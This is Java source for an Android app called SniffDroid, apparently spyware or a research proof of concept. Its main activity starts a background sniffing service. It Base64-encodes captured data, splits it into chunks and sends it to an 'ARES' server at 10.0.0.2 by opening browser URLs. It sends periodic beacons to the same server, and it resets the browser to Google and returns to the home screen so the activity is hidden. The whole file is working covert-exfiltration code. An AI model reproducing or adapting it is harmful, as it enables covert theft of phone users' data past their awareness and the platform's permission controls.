package Android.SniffDroid;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Base64;
import android.view.View;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
 * the main activity of SniffDroid
 * this activity contains the user interface and sends the data to ARES
 * @author Mike
 */
public class SniffDroid extends Activity
{
    /**
     * the maximum length of data sent within one URL
     */
    public static final int C_BROWSERMAXURLBYTES = 65535;
    /**
     * the background service instance
     */
    ComponentName service;
    /**
     * the instance of the class
     */
    private static SniffDroid instance;
    /**
     * the last time data was sent to ARES, used determine if empty notification is necessary
     */
    private static long sentUrlTime = 0;
    /**
     * send beacons (empty notifications) if no data is available to send
     */
    private static boolean sendBeacons = true;
    /**
     * get the ip address of ARES
     * @return the ip address of ARES
     */
    public static String GetServer() {
        return "10.0.0.2";
    }   
    /**
     * sends the given data to ARES
     * @param unencoded the unencoded part of the URL
     * @param buff the buffer to send
     * @param byteCount the amount of bytes to send
     */
    public static void SendData(String unencoded, byte[] buff, int byteCount) {
        String url;
        if (byteCount > 0) {
            String encoded = Base64.encodeToString(buff, 0, byteCount, Base64.DEFAULT | Base64.NO_WRAP);
            encoded = encoded.replace("/", "_");     
            url = "http://"+SniffDroid.GetServer()+"/"+unencoded+"/"+encoded;
        }
        else {
            url = "http://"+SniffDroid.GetServer()+"/"+unencoded;
        }
        instance.startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse(url)));
        sentUrlTime = System.currentTimeMillis();
    }
    /**
     * sends the given data to ARES
     * @param unencoded the unencoded part of the URL
     * @param text the data to send
     */
    public static void SendData(String unencoded, CharSequence text) {       
        int maxBytesToEncode = C_BROWSERMAXURLBYTES;
        int startPos = 0;
        
        if (text.equals("")) {
            SendData(unencoded, null, 0);
            return;
        }
            
        String fullText = text.toString();

        while(startPos < text.length()) {
            String toBeSent;
            int endPos = startPos+maxBytesToEncode;
            if (endPos < text.length()) {
                toBeSent = fullText.substring(startPos, endPos);
            }
            else {
                toBeSent = fullText.substring(startPos);
            }
            byte[] buff = toBeSent.getBytes();
            SendData(unencoded, buff, buff.length);
            startPos = endPos+1;
        }
    }
    /**
     * enable or disable the sending of beacons
     * @param _sendBeacons true if beacons should be send
     */
    public static void SetBeaconState(boolean _sendBeacons) {
        sendBeacons = _sendBeacons;
        Wait(5);
    }
    /**
     * send a beacon (empty notification) if no data was sent in the last 5 seconds
     */
    public static void SendBeacon() {
        if ((sendBeacons) && ((System.currentTimeMillis() - sentUrlTime) > 5000)) {
            SendData("notify",".");
        }
    }
    /**
     * reset the browser back to the google website and display the home screen
     */
    public static void ResetBrowser() {
        instance.startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.google.com")).setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
        instance.startActivity(new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME));
    }
    /**
     * called when the activity is resumed
     */
    @Override
    public void onResume() {
        super.onResume();
    }
    /**
     * called when the activity is started
     */
    @Override
    public void onStart() {
        super.onStart();
    }
    
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState)
    {
        
        super.onCreate(savedInstanceState);
        instance = this;
        
        setContentView(R.layout.main);
        
        service = startService(new Intent(this, SniffServ.class));
    }
    /**
     * handles click events for the button on the user interface 
     * @param view 
     */
    public void buttonClick(View view) {
       startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.google.com")));
    }
    /**
     * wait a given amount of seconds
     * @param seconds the amount of seconds to wait
     */
    public static void Wait(int seconds) {
        try {
            Thread.sleep(seconds * 1000);
        } catch (InterruptedException ex) {
            Logger.getLogger(WorkerThread.class.getName()).log(Level.SEVERE, null, ex);
        }
    }
}
